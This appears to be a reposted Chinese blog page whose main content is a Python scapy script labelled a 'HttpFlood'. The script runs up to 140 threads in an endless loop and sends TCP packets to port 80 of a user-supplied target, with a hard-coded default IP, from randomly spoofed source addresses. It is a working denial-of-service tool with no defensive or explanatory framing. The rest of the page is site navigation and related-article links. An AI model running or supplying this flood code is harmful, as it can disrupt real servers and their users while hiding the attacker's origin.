博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
scapy项目实战
阅读量:6310 次
发布时间:2019-06-22

本文共 890 字,大约阅读时间需要 2 分钟。

  hot3.png

# -*- coding: cp936 -*-

from scapy.all import *
from threading import Thread,activeCount
from random import randint

 

class Loop(Thread):

    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr

    def run(self):

        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)

       

class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr

    def run(self):

        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print '目前已经进行的HttpFlood的次数为:',total

if __name__ == '__main__':

    remoteAddr = raw_input('IP=')
    if remoteAddr == '':
        remoteAddr = '202.103.25.12'
    Main(remoteAddr = remoteAddr).start()

转载于:https://my.oschina.net/enet01/blog/789068

你可能感兴趣的文章
DevOps和容器:本地or云端,如何选择?
查看>>
RHEL 7配置NFS服务笔记
查看>>
【Servlet】04-使用Session
查看>>
我们该如何做好Code Review?
查看>>
padStart 的 polyfill
查看>>
IBM发布全球首台商用量子计算机
查看>>
教育部下令中小学推广编程教育,全民AI真的要来了
查看>>
面向桌面开发的Windows Template Studio
查看>>
一文盘点Steam上VR游戏之最
查看>>
金秋十月 千家企业奏响品牌盛会评选交响曲
查看>>
bootstrap学习笔记--初识bs
查看>>
一统AI界的当红炸子鸡Python,这次要进入小学生课堂了!
查看>>
【读书笔记《Bootstrap 实战》】2.作品展示站点
查看>>
lucene DocValues——本质是为通过docID查找某field的值 看图
查看>>
.Net单元测试工具TestDriven.NET
查看>>
Java中的Atomic包
查看>>
类加载机制
查看>>
Selenium学习笔记之外部化相关测试数据---xml
查看>>
Cucumber入门之_Hooks&Background
查看>>
IDEA 中生成 Hibernate 逆向工程实践
查看>>